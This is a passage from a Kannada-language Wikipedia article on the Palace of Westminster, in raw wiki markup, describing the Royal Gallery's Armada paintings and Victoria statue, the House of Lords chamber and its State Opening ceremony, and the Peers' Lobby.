ಸೇರಿವೆ.<ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , pp. ೩೨–೩೩.</ref> ವರ್ಣಚಿತ್ರಗಳ ಮೇಲೆ, ಕಿಟಕಿಯ ಮಟ್ಟದಲ್ಲಿ ಅಂಕಣಗಳಿವೆ, ಇದು ಹತ್ತು ಅರ್ಮಾಡ ಚಿತ್ರ ನೇಯ್ದ ಬಟ್ಟೆಗಳಲ್ಲಿ ಆರನ್ನು ನೇತುಹಾಕಲು ಉದ್ದೇಶಿಸಲಾಗಿತ್ತು. ಇವುಗಳು ೧೮೩೪ರಲ್ಲಿ ಬೆಂಕಿಗಾಹುತಿಯಾಗುವವರೆಗೂ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಕೊಠಡಿಯಲ್ಲಿ ತೂಗುಹಾಕಲಾಗಿತ್ತು, ಹಾಗು ಇವುಗಳು ೧೫೮೮ರಲ್ಲಿ ಸೋತು ಹೋದ ಸ್ಪಾನಿಶ್ ಅರ್ಮಾಡನ್ನು ನಿರೂಪಿಸುತ್ತವೆ. ಈ ಯೋಜನೆಯನ್ನು ೧೮೬೧ರವರೆಗೂ ಸ್ಥಗಿತಗೊಳಿಸಲಾಗಿತ್ತು.(ಈ ಅವಧಿಯಲ್ಲಿ ಕೇವಲ ಒಂದೇ ಒಂದು ವರ್ಣಚಿತ್ರವು ಪೂರ್ಣಗೊಂಡಿತ್ತು), ಅಲ್ಲದೇ ಇದನ್ನು ೨೦೦೭ರವರೆಗೂ ಮತ್ತೆ ಆರಂಭಿಸಲಾಗಲಿಲ್ಲ;{{As of|2010|8|lc=on}} ಎಲ್ಲ ಆರು ವರ್ಣಚಿತ್ರಗಳು ಪೂರ್ಣಗೊಂಡಿದ್ದು, ಇವುಗಳನ್ನು ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕೆ ಇಡಲಾಗಿದೆ. ಮುಂಬರುವ ತಿಂಗಳುಗಳಲ್ಲಿ ಇವುಗಳನ್ನು ಯುವರಾಜನ ಕೊಠಡಿಯಲ್ಲಿ ತೂಗುಹಾಕಲು ಉದ್ದೇಶಿಸಲಾಗಿದೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆನ್ಸೈ (೧೯೯೪), p. ೩೮.</ref><ref>{{Cite news |title=Raising The Armada |publisher=BBC News |date=9 April 2010 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/8611457.stm |accessdate=12 May 2010}}</ref><ref>{{Cite web |url=http://www.parliament.uk/visiting/exhibitions-and-events/exhibitions/armada-exhibition/ |title=Painting the Armada exhibition |publisher=UK Parliament |accessdate=1 July 2010 |archive-date=15 ಜುಲೈ 2010 |archive-url=https://web.archive.org/web/20100715133811/http://www.parliament.uk/visiting/exhibitions-and-events/exhibitions/armada-exhibition/ |url-status=dead }}</ref> ಕೊಠಡಿಯಲ್ಲಿ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ಸಿಂಹಾಸನದ ಮೇಲೆ ಆಸೀನಳಾಗಿರುವಂತ ಪ್ರತಿಮೆಯೂ ಸಹ ಇದೆ.(ಸ್ವತಃ ಇದನ್ನು ಪೀಠದ ಮೇಲೆ ಇರಿಸಲಾಗಿದೆ) ಆಕೆಯು ತನ್ನ ಕೈಯಲ್ಲಿ ರಾಜದಂಡ ಹಾಗು ಲಾರೆಲ್ ಕಿರೀಟ ಧರಿಸಿದ್ದಾಳೆ. ಇದು ಈಕೆ ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸುವುದರ ಜೊತೆಗೆ ಆಳ್ವಿಕೆಯನ್ನೂ ನಡೆಸುತ್ತಿದ್ದಳು ಎಂಬುದನ್ನು ಸೂಚಿಸುತ್ತದೆ.<ref name="Lords Route tour"/> ಈ ಪ್ರತಿಮೆಯು, ನ್ಯಾಯ ಹಾಗು ಸೌಮ್ಯತೆಯ ಅನ್ಯೋಕ್ತಿಯ ಮೂರ್ತಿಗಳಿಂದ ಸುತ್ತುವರೆದಿದೆ—ಮೊದಲಿನದ್ದು ಬರಿ ಕತ್ತಿ ಹಾಗು ಒಂದು ಅನಮ್ಯವಾದ ಮುಖಭಾವವನ್ನು ತೋರಿದರೆ, ಮತ್ತೊಂದು ಅನುಕಂಪ ಹಾಗು ಆಲಿವ್ ಕೊಂಬೆಯನ್ನು ನೀಡುತ್ತಿರುವಂತೆ ಕಂಡುಬರುತ್ತದೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆನ್ಸೈ(೧೯೯೪), p. ೩೮; ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೨೬೨.</ref> ಬಿಳಿ ಅಮೃತಶಿಲೆಯಿಂದ ಕೆತ್ತಲಾದ ಶಿಲ್ಪೀಯ ಸಮಷ್ಟಿಯನ್ನು ೧೮೫೫ರಲ್ಲಿ ಜಾನ್ ಗಿಬ್ಸನ್ ಕೆತ್ತಿದ್ದಾರೆ. ಇದು {{Convert|2.44|m|ft|0}}ರಷ್ಟು ಎತ್ತರ ಹೊಂದಿದೆ; ಇದರ ಗಾತ್ರವು, ಯುವರಾಜನ ಕೊಠಡಿಗೆ ಹೊಂದಿಕೆಯಾಗದಂತಹ ಗಾತ್ರ ಹೊಂದಿದೆಯೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ, ಹಾಗು ಸುತ್ತುವರಿದ ಪ್ರತಿಮೆಗಳು ೧೯೫೫ ಹಾಗು ೧೯೭೬ರ ನಡುವೆ ಸಂಗ್ರಹಿಸಲಾಯಿತು. ಆದಾಗ್ಯೂ, ಗುಂಪಿನ ಗಾತ್ರ ಹಾಗು ಸ್ಥಳವು, ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯ ಬಾಗಿಲುಗಳಿಗೆ ವಿರುದ್ಧವಾಗಿರುವ ಕಮಾನು(ಇದನ್ನು ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭದಲ್ಲಿ ರಾಜವಂಶದ ಮೆರವಣಿಗೆಗೆ ಅನುಕೂಲವಾಗುವಂತೆ ಅಲ್ಲಿಂದ ಸ್ಥಳಾಂತರಗೊಳಿಸಲಾಗುತ್ತದೆ.)ಇದನ್ನು ದೂರದಿಂದ ವೀಕ್ಷಿಸಬೇಕೆಂಬುದನ್ನು ಇದು ಸೂಚಿಸುತ್ತದೆ, ಹಾಗು ಸಾಂಕೇತಿಕವಾಗಿ ರಾಜರುಗಳು ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯಿಂದ ಭಾಷಣ ನೀಡಲು ಇಳಿದು ಬರುವಾಗ ರಾಜವಂಶದ ಸದಸ್ಯರಿಗೆ ಕರ್ತವ್ಯಗಳನ್ನು ಅವರಿಗೆ ನೆನಪು ಮಾಡಿಕೊಡುತ್ತದೆ.<ref name="Lords Route tour"/><ref>ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೨೫೩.</ref> === ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿ === [[ಚಿತ್ರ:Lords Chamber (landscape).jpg|thumb|alt=Photograph|ರಾಜನ ಸಿಂಹಾಸನ ಮತ್ತು ಅದರ ಚಿನ್ನದ ಲೇಪನ ಮಾಡಲಾದ ಮೇಲಾವರಣವು ಆರ್ನೆಟ್ ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಯನ್ನು ಮೀರಿಸುತ್ತದೆ.]] ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಕೊಠಡಿಯು, ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ. ಅದ್ಧೂರಿಯಾಗಿ ಅಲಂಕೃತವಾದ ಕೊಠಡಿಯು{{Convert|13.7|by|24.4|m|ft|0}}ರಷ್ಟು ಅಳತೆಯದ್ದಾಗಿದೆ.<ref name="Factsheet G11"/> ಕೊಠಡಿಯಲ್ಲಿರುವ ಬೆಂಚುಗಳು, ಹಾಗು ಅರಮನೆಯ ಲಾರ್ಡ್ಸ್ ಗಳ ವಿಭಾಗದ ಕೊಠಡಿಯ ಇತರ ಪೀಠೋಪಕರಣಗಳಿಗೆ ಕೆಂಪು ಬಣ್ಣ ಬಳಿಯಲಾಗಿದೆ. ಕೊಠಡಿಯ ಮೇಲ್ಭಾಗಕ್ಕೆ ಬಣ್ಣ ಲೇಪಿತ ಗಾಜಿನ ಕಿಟಕಿಗಳಿಂದ ಅಲಂಕರಿಸಲಾಗಿದೆ, ಹಾಗು ಆರು ಅನ್ಯೋಕ್ತಿಯ ಹಸಿಚಿತ್ರಗಳು ಧರ್ಮ, ವೀರಸಂಪ್ರದಾಯ ಹಾಗು ಕಾನೂನನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತವೆ. ಕೊಠಡಿಯ ದಕ್ಷಿಣ ತುದಿಯಲ್ಲಿ ಸ್ವರ್ಣಾಲಂಕೃತ ಮೇಲ್ಕಟ್ಟು ಹಾಗು ಸಿಂಹಾಸನವಿದೆ; ಆದಾಗ್ಯೂ ಸಾರ್ವಭೌಮನು ಸೈದ್ಧಾಂತಿಕವಾಗಿ ಯಾವುದೇ ಅಧಿವೇಶನದಲ್ಲಿ ಸಿಂಹಾಸನವನ್ನು ಅಲಂಕರಿಸಬಹುದು.ಆತ ಅಥವಾ ಆಕೆ ಕೇವಲ ಸಂಸತ್ತಿನ ಆರಂಭಿಕ ಅಧಿವೇಶನಕ್ಕೆ ಮಾತ್ರ ಹಾಜರಿರುತ್ತಾರೆ. ಆರಂಭಿಕ ಅಧಿವೇಶನದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ರಾಜವಂಶದ ಇತರ ಸದಸ್ಯರು ಸಿಂಹಾಸನದ ಪಕ್ಕದಲ್ಲಿರುವ ಅಧಿಕಾರ ಪೀಠವನ್ನು ಬಳಸುತ್ತಾರೆ, ಹಾಗು ವರಿಷ್ಠವರ್ಗದವರ ಪುತ್ರರು ಯಾವಾಗಲೂ ಸಿಂಹಾಸನದ ಕೆಳಗಿರುವ ಮೆಟ್ಟಿಲುಗಳ ಮೇಲೆ ಕೂರುವ ಹಕ್ಕನ್ನು ಪಡೆದಿರುತ್ತಾರೆ. ಸಿಂಹಾಸನದ ಮುಂಭಾಗದಲ್ಲಿ ಉಣ್ಣೆಯ ಮೆತ್ತೆಯಿರುತ್ತದೆ, ಹಿಂಬದಿಯಲ್ಲಿ ಒರಗಿಕೊಳ್ಳಲು ಹಾಗು ಬಾಹುರಹಿತ ಕೆಂಪು ಮೆತ್ತೆಗಳು ಉಣ್ಣೆಯಿಂದ ತುಂಬಿರುತ್ತವೆ. ಇದು ಉಣ್ಣೆಯ ವ್ಯಾಪಾರದ ಬಗೆಗಿನ ಐತಿಹಾಸಿಕ ಪ್ರಾಮುಖ್ಯತೆಯನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ; ಹಾಗು ಇದನ್ನು ಅಧಿಕಾರದಲ್ಲಿರುವ ಸದನದ ಅಧಿಕಾರಿಯು ಬಳಸುತ್ತಾರೆ.( ಇತ್ತೀಚಿಗೆ ೨೦೦೬ರಿಂದೀಚೆಗೆ ಲಾರ್ಡ್ ಸ್ಪೀಕರ್, ಆದರೆ ಐತಿಹಾಸಿಕವಾಗಿ ಲಾರ್ಡ್ ಚ್ಯಾನ್ಸಲರ್ ಅಥವಾ ಒಬ್ಬ ಡೆಪ್ಯುಟಿಯು ಇದರಲ್ಲಿ ಆಸೀನರಾಗುತ್ತಾರೆ). ರಾಜವಂಶದ ಅಧಿಕಾರವನ್ನು ಪ್ರತಿನಿಧಿಸುವ ಸದನದ ರಾಜದಂಡವನ್ನು ಉಣ್ಣೆಮೆತ್ತೆಯ ಹಿಂಭಾಗದಲ್ಲಿ ಇರಿಸಲಾಗಿರುತ್ತದೆ. ಉಣ್ಣೆಮೆತ್ತೆಯ ಮುಂಭಾಗದಲ್ಲಿ ನ್ಯಾಯಾಧೀಶರ ಉಣ್ಣೆಮೆತ್ತೆಯಿರುತ್ತದೆ, ದೊಡ್ಡದಾದ ಕೆಂಪು ಬಣ್ಣದ ದಿಂಬಿನಂತಿರುವ ಇದರ ಮೇಲೆ ಈ ಹಿಂದೆ ಆರಂಭಿಕ ಅಧಿವೇಶನದ ವೇಳೆ ಲಾ ಲಾರ್ಡ್ಸ್ ಗಳು ಆಸೀನರಾಗುತ್ತಿದ್ದರು.(ಇವರು ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಸದಸ್ಯರುಗಳಾಗಿರುತ್ತಿದ್ದರು), ಹಾಗು ಭವಿಷ್ಯದಲ್ಲಿ ಸರ್ವೋಚ್ಚ ನ್ಯಾಯಾಲಯದ ನ್ಯಾಯಾಧೀಶರುಗಳು ಹಾಗು ಇತರ ನ್ಯಾಯಾಧೀಶರುಗಳು(ಸದಸ್ಯರುಗಳು ಆಗಿರಲಿ ಬಿಡಲಿ), ಸರ್ಕಾರದ ನ್ಯಾಯಾಂಗವನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಿದ್ದರು. ಗುಮಾಸ್ತರು ಕುಳಿತುಕೊಳ್ಳುವ ಸದನದ ಮೇಜು ಇದರ ಮುಂಭಾಗದಲ್ಲಿದೆ. ಸದನದ ಸದಸ್ಯರು, ಕೊಠಡಿಯ ಮೂರು ಕಡೆಗಳಲ್ಲೂ ಇರುವ ಕೆಂಪು ಬೆಂಚುಗಳ ಮೇಲೆ ಆಸೀನರಾಗುತ್ತಾರೆ. ಲಾರ್ಡ್ಸ್ ಸ್ಪೀಕರ್ ನ ಬಲಭಾಗದ ಬೆಂಚನ್ನು ಧಾರ್ಮಿಕ ಭಾಗವು ರೂಪಿಸಿದರೆ, ಅವರ ಎಡಭಾಗಕ್ಕಿರುವ ಬೆಂಚುಗಳು ಅಲ್ಪ ಕಾಲಿಕ ಭಾಗವನ್ನು ರೂಪಿಸುತ್ತವೆ. ಲಾರ್ಡ್ಸ್ ಸ್ಪಿರಿಚ್ಯುವಲ್ (ಚರ್ಚ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ ನಿಂದ ನೇಮಕಗೊಂಡ ಆರ್ಚ್ ಬಿಷಪ್ ಗಳು(ಪ್ರಧಾನ ಅರ್ಚಕರು) ಹಾಗು ಬಿಷಪ್ ಗಳು) ಎಲ್ಲರೂ ಧಾರ್ಮಿಕ ವಿಭಾಗದಲ್ಲಿ ಆಸೀನರಾಗುತ್ತಾರೆ. ಲಾರ್ಡ್ಸ್ ಟೆಂಪೋರಲ್(ಶ್ರೀಮಂತ ವರ್ಗದವರು) ಪಕ್ಷದ ಸದಸ್ಯತ್ವದ ಪ್ರಕಾರವಾಗಿ ಆಸೀನರಾಗುತ್ತಾರೆ: ಸರ್ಕಾರದ ಪಕ್ಷದ ಸದಸ್ಯರು ಧಾರ್ಮಿಕ ವರಿಷ್ಠರ ಭಾಗದಲ್ಲಿ ಕುಳಿತರೆ, ವಿರೋಧ ಪಕ್ಷದವರು ಟೆಂಪೊರಲ್ ಭಾಗದಲ್ಲಿ ಕುಳಿತುಕೊಳ್ಳುತ್ತಾರೆ. ವರಿಷ್ಠವರ್ಗದ ಕೆಲವರು, ಯಾವುದೇ ಪಕ್ಷಕ್ಕೆ ಸೇರ್ಪಡೆಯಾಗಿರುವುದಿಲ್ಲ, ಇವರುಗಳು ಸದನದ ಮಧ್ಯಭಾಗದಲ್ಲಿರುವ ಉಣ್ಣೆಮೆತ್ತೆಗೆ ಎದುರಿನಲ್ಲಿರುವ ಬೆಂಚುಗಳಲ್ಲಿ ಕುಳಿತುಕೊಳ್ಳುತ್ತಿದ್ದರು; ಈ ಪ್ರಕಾರವಾಗಿ ಇವರುಗಳನ್ನು ಎದುರು ಸಾಲಿನ ಪ್ರತಿಪಕ್ಷದವರು ಅಥವಾ ಪಕ್ಷೇತರರು ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು. [[ಚಿತ್ರ:Passing of the Parliament Bill, 1911 - Project Gutenberg eText 19609.jpg|thumb|left|alt=Drawing|1911ರ ಸಂಸತ್ತಿನ ಕಾಯ್ದೆಯ ಅಂಗೀಕಾರಸಂಸತ್ತಿನ ಎರಡು ಸದನಗಳಲ್ಲಿನ ಮತಚಲಾವಣೆಗಳನ್ನು ವಿಭಜಿತ ರೂಪದಲ್ಲಿ ನಡೆಸಲಾಗುವುದು. ]] ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಯನ್ನು ರಾಷ್ಟ್ರಮಟ್ಟದಲ್ಲಿ ಪ್ರಸಾರವಾಗುವ ಸಮಾರಂಭಗಳಲ್ಲಿ ತೋರಿಸಲಾಗುತ್ತದೆ.ಇದರಲ್ಲಿ ಬಹು ಮುಖ್ಯವಾದುದೆಂದರೆ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭ; ಇದನ್ನು ಪ್ರತಿ ವಾರ್ಷಿಕ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನ ಆರಂಭಿಸಲು ವಿಧ್ಯುಕ್ತವಾಗಿ ಏರ್ಪಡಿಸಲಾಗುತ್ತದೆ, ಇದನ್ನು ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣಾ ಅಥವಾ ಶರತ್ಕಾಲದ ನಂತರ ಹಮ್ಮಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ ಸರ್ಕಾರದ ಪ್ರತಿಯೊಂದು ಸಾಂವಿಧಾನಿಕ ಅಂಶವನ್ನು ಪ್ರತಿನಿಧಿಸಲಾಗುತ್ತದೆ: ಕಿರೀಟ(ಅಕ್ಷರಶಃ, ಹಾಗು ವೈಯಕ್ತಿಕವಾಗಿ ಸಾರ್ವಭೌಮನನ್ನು ಸಂಕೇತಿಸುತ್ತದೆ), ದಿ ಲಾರ್ಡ್ಸ್ ಸ್ಪಿರಿಚ್ಯುವಲ್ ಹಾಗು ಟೆಂಪೋರಲ್, ಹಾಗು ದಿ ಕಾಮನ್ಸ್(ಇವರೆಲ್ಲರೂ ಒಟ್ಟಾಗಿ ಶಾಸಕಾಂಗವನ್ನು ರೂಪಿಸುತ್ತಾರೆ), ನ್ಯಾಯಾಂಗ(ಆದಾಗ್ಯೂ ಹೆಚ್ಚಿನ ನ್ಯಾಯಾಧೀಶರುಗಳು ಸಂಸತ್ತಿನ ಎರಡೂ ಸದನಗಳ ಸದಸ್ಯರುಗಳಾಗಿರುವುದಿಲ್ಲ), ಹಾಗು ಕಾರ್ಯಾಂಗ(ಎರಡೂ ಪಕ್ಷಗಳ ಸರ್ಕಾರಿ ಮಂತ್ರಿಗಳು, ಹಾಗು ರಾಜನ ಜೊತೆಯಲ್ಲಿರುವ ವಿಧ್ಯುಕ್ತವಾದ ಮಿಲಿಟರಿ ದಳಗಳು); ಹಾಗು ಕೊಠಡಿಯ ಹೊರಭಾಗದಲ್ಲೇ ಇರುವ ದೊಡ್ಡದಾದ ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಕುಳಿತು ಸಮಾರಂಭಕ್ಕೆ ಆಹ್ವಾನಿತರಾದ ದೊಡ್ಡ ಸಂಖ್ಯೆಯ ಅತಿಥಿಗಳು ವೀಕ್ಷಿಸಬಹುದು. ಸಿಂಹಾಸನಾರೂಢರಾದ ಸಾರ್ವಭೌಮರು, ಸಿಂಹಾಸನದಿಂದ ಭಾಷಣ ಮಾಡುತ್ತಾರೆ, ಆ ವರ್ಷದ ಸರ್ಕಾರದ ಯೋಜನೆ ಹಾಗು ಮುಂಬರುವ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನಕ್ಕೆ ವಿಧಾಯಕದ ಕಾರ್ಯಸೂಚಿಯನ್ನು ಸ್ಥೂಲವಾಗಿ ವಿವರಿಸುತ್ತಾರೆ. ಕಾಮನ್ಸ್ ಗಳು ಲಾರ್ಡ್ಸ್ ಗಳ ಚರ್ಚಾ ಸಭಾಂಗಣಕ್ಕೆ ಪ್ರವೇಶಿಸದಿರಬಹುದು, ಇದರ ಬದಲಿಗೆ, ಬಾಗಿಲಿನ ಒಳಭಾಗದಲ್ಲೇ ಇರುವ ಸದನದ ಅಡ್ಡಗಟ್ಟೆಯ ಹಿಂಭಾಗದಿಂದ ಕಾರ್ಯಕಲಾಪಗಳನ್ನು ವೀಕ್ಷಿಸಬಹುದು. ಸಾರ್ವಭೌಮನು ಕೇವಲ ಲಾರ್ಡ್ಸ್ ಕಮಿಷನರ್ಸ್ ನ ಗುಂಪಿನಿಂದ ಪ್ರತಿನಿಧಿಸಲ್ಪಟ್ಟಿದ್ದಾಗ, ಪ್ರತಿ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಕೊನೆಯಲ್ಲಿ ಒಂದು ಸಣ್ಣ ಮಟ್ಟದ ಔಪಚಾರಿಕ ವಿಧ್ಯುಕ್ತ ಸಮಾರಂಭ ಏರ್ಪಡಿಸಲಾಗುತ್ತದೆ. === ವರಿಷ್ಠ ವರ್ಗದ ಲಾಬಿ === ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಗೆ ನೇರವಾಗಿ ಉತ್ತರ ಭಾಗದಲ್ಲಿರುವುದು ವರಿಷ್ಠ ವರ್ಗದ ಲಾಬಿ; ಇದೊಂದು ಮುಂಗೋಣೆಯಾಗಿದ್ದು ಇದರಲ್ಲಿ ಲಾರ್ಡ್ಸ್ ನಿವಾಸದಲ್ಲಿರುವಾಗ ವಿಷಯಗಳನ್ನು ಅನೌಪಚಾರಿಕವಾಗಿ ಚರ್ಚಿಸುತ್ತಾರೆ ಅಥವಾ ಸಂಧಾನದ ಮೂಲಕ ತೀರ್ಮಾನಿಸುತ್ತಾರೆ.ಅಲ್ಲದೇ ಈ ಕೊಠಡಿಗೆ ಪ್ರವೇಶ ನಿಯಂತ್ರಿಸುವ ದ್ವಾರಪಾಲಕರಿಂದ ಸಂದೇಶಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಾರೆ. ಲಾಬಿಯು ಪ್ರತಿಯೊಂದು ಬದಿಯಲ್ಲಿ {{Convert|11.9|m|ft}}ನಷ್ಟು ಅಳತೆಯಿರುವ ಮತ್ತು {{Convert|10|m|ft}}ನಷ್ಟು ಎತ್ತರವಿರುವ ಒಂದು ಚೌಕ ಕೊಠಡಿಯಾಗಿದೆ.<ref name="Factsheet G11"/> ಇದರ ನೆಲದ ನಡುಭಾಗದಲ್ಲಿರುವ ಅಲಂಕರಣ ವಸ್ತುವು ಇದರ ಪ್ರಮುಖ ಲಕ್ಷಣವಾಗಿದೆ, ಆ ಅಲಂಕರಣ ವಸ್ತುವೆಂದರೆ ಡಾರ್ಬಿ ಮಾರ್ಬಲ್‌ಗಳಿಂದ ಮಾಡಲ್ಪಟ್ಟ ಮತ್ತು ಅಷ್ಟಭುಜ ಆಕಾರದ ಕೆತ್ತನೆ ಕೆಲಸ ಮಾಡಿದ ಹಿತ್ತಾಳೆ ಫಲಕಗಳಲ್ಲಿ ಜೋಡಿಸಿದ ಒಂದು ಪ್ರಕಾಶಮಾನವಾದ ಪಂಚದಳ ಗುಲಾಬಿಯಾಗಿದೆ.<ref>ವಿಲ್ಸನ್ (೨೦೦೫), p. ೧೬.</ref> ನೆಲದ ಉಳಿದ ಭಾಗಕ್ಕೆ ವಂಶಲಾಂಛನಗಳ ವಿನ್ಯಾಸಗಳು ಮತ್ತು ಲ್ಯಾಟಿನ್ ಸೂಕ್ತಿಗಳನ್ನೊಳಗೊಂಡ ಬಣ್ಣದ ಹೆಂಚುಗಳನ್ನು ಹಾಸಲಾಗಿದೆ. ಗೋಡೆಗಳಿಗೆ ಬಿಳಿ ಶಿಲೆಗಳಿಂದ ಹೊರಹೊದಿಕೆ ಹೊದಿಸಲಾಗಿದೆ; ಮತ್ತು ಪ್ರತಿಯೊಂದಕ್ಕೂ ಬಾಗಿಲ ಪ್ರವೇಶ ದಾರಿ ಇರಿಸಲಾಗಿದೆ; ಕಮಾನು ಚಾವಣಿಯ ಮೇಲೆ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾರ ಅಧಿಪತ್ಯದವರೆಗೆ ಇಂಗ್ಲೆಂಡ್ಅನ್ನು ಆಳಿದ ಆರು ರಾಜ-ವಂಶಗಳನ್ನು ಸೂಚಿಸುವ ಲಾಂಛನಗಳಿವೆ. (ಸ್ಯಾಕ್ಸನ್, ನಾರ್ಮನ್, ಪ್ಲಾಂಟಗೆನೆಟ್, ಟ್ಯೂಡರ್, ಸ್ಟ್ವಾರ್ಟ್ ಮತ್ತು ಹ್ಯಾನೋವೆರಿಯನ್) ಹಾಗೂ ಅವುಗಳ ಮಧ್ಯೆ ಇಂಗ್ಲೆಂಡ್‌ನ ಆರಂಭಿಕ ಶ್ರೀಮಂತವರ್ಗದವರ ಲಾಂಛನಗಳನ್ನು ಬಣ್ಣಗಳಲ್ಲಿ ಚಿತ್ರಿಸಿದ ಕಿಟಕಿಗಳಿವೆ.<ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , pp. ೪೭–೪೯.</ref> ಬಾಗಿಲು ದಾರಿಗಳಲ್ಲಿ ದಕ್ಷಿಣಕ್ಕಿರುವ ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಗೆ ಪ್ರವೇಶ ಕಲ್ಪಿಸುವ ಬಾಗಿಲು ದಾರಿಯು ಭಾರೀ ಭವ್ಯವಾಗಿದೆ.ಅಲ್ಲದೇ ಸಂಪೂರ್ಣ ರಾಜವಂಶದ ಲಾಂಛನಗಳನ್ನೂ ಒಳಗೊಂಡಂತೆ ಹೆಚ್ಚು ಚಿನ್ನದ ಲೇಪನದಿಂದ ಅಲಂಕರಿಸಲ್ಪಟ್ಟಿದೆ. ಇದು ಹಿತ್ತಾಳೆ ಮಹಾದ್ವಾರಗಳಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ, ಸೂಕ್ಷ್ಮವಾಗಿ ಕೊರೆದ ಮತ್ತು ಗುಬ್ಬಿ-ಮೊಳೆಗಳನ್ನು ಹಾಕಿದ ಈ ಬಾಗಿಲುಗಳು ಒಟ್ಟಿಗೆ {{Convert|1.5|t|ST}} ನಷ್ಟು ತೂಕ ಹೊಂದಿವೆ.<ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , pp. ೫೦–೫೧.</ref> ಪಕ್ಕದ ಬಾಗಿಲುಗಳು ಗಡಿಯಾರಗಳನ್ನು ಹೊಂದಿದ್ದು ಕಾರಿಡಾರ್‌ಗಳಿಗೆ ತೆರೆದುಕೊಳ್ಳುತ್ತವೆ: ಪೂರ್ವದಲ್ಲಿ ಗ್ರಂಥಾಲಯಕ್ಕೆ ಪ್ರವೇಶ ಕಲ್ಪಿಸುವ ಲಾ ಲಾರ್ಡ್ಸ್ ಕಾರಿಡಾರ್‌ಗೆ ವಿಸ್ತರಿಸುತ್ತದೆ; ಮತ್ತು ಹತ್ತಿರದಲ್ಲಿರುವ ಪಶ್ಚಿಮದಲ್ಲಿನ ಗ್ರ್ಯಾಂಡ್ ಕಮಿಟಿಗಳಿಗೆ ಬಳಸಲಾಗುವ ಮೋಸಸ್ ಕೊಠಡಿಯಿದೆ. ಉತ್ತರದಲ್ಲಿ ಕಮಾನು ಚಾವಣಿಯನ್ನು ಒದಗಿಸುವ ವರಿಷ್ಠ ವರ್ಗದ ಕಾರಿಡಾರ್ ಇದೆ. ಇದು ಚಾರ್ಲ್ಸ್ ವೆಸ್ಟ್ ಕೋಪ್‌ನಿಂದ ಇಂಗ್ಲಿಷ್ ನಾಗರಿಕ ಕದನದ ಸಂದರ್ಭದ ಐತಿಹಾಸಿಕ ದೃಶ್ಯಗಳನ್ನು ಚಿತ್ರಿಸುವ ಎಂಟು ಭಿತ್ತಿ ಚಿತ್ರಗಳಿಂದ ಅಲಂಕರಿಸಲ್ಪಟ್ಟಿದೆ.<ref name="Central Lobby tour">{{Cite web |url=http://www.parliament.uk/visiting/online-tours/virtualtours/central-lobby-tour/ |title=Central Lobby virtual tour |publisher=UK Parliament |accessdate=5 August 2010 |archive-date=16 ಜುಲೈ 2010 |archive-url=https://web.archive.org/web/20100716004602/http://www.parliament.uk/visiting/online-tours/virtualtours/central-lobby-tour/ |url-status=dead }}</ref> ಈ ಚಿತ್ರಗಳನ್ನು ೧೮೫೬ ಮತ್ತು ೧೮೬೬ರ ಸಂದರ್ಭದಲ್ಲಿ ಬಿಡಿಸಲಾಗಿದೆ;<ref>ವಿಲ್ಸನ್ (೨೦೦೫), p. ೨೧.</ref><ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , p. ೫೩.</ref> ಹಾಗೂ ಪ್ರತಿಯೊಂದು ದೃಶ್ಯವನ್ನು 'ವಿಶೇಷವಾಗಿ ರಾಷ್ಟ್ರಕ್ಕೆ ಸ್ವಾತಂತ್ರ್ಯ ತರಲು ಮಾಡಿದ ಹೋರಾಟಗಳನ್ನು ನಿರೂಪಿಸಲು 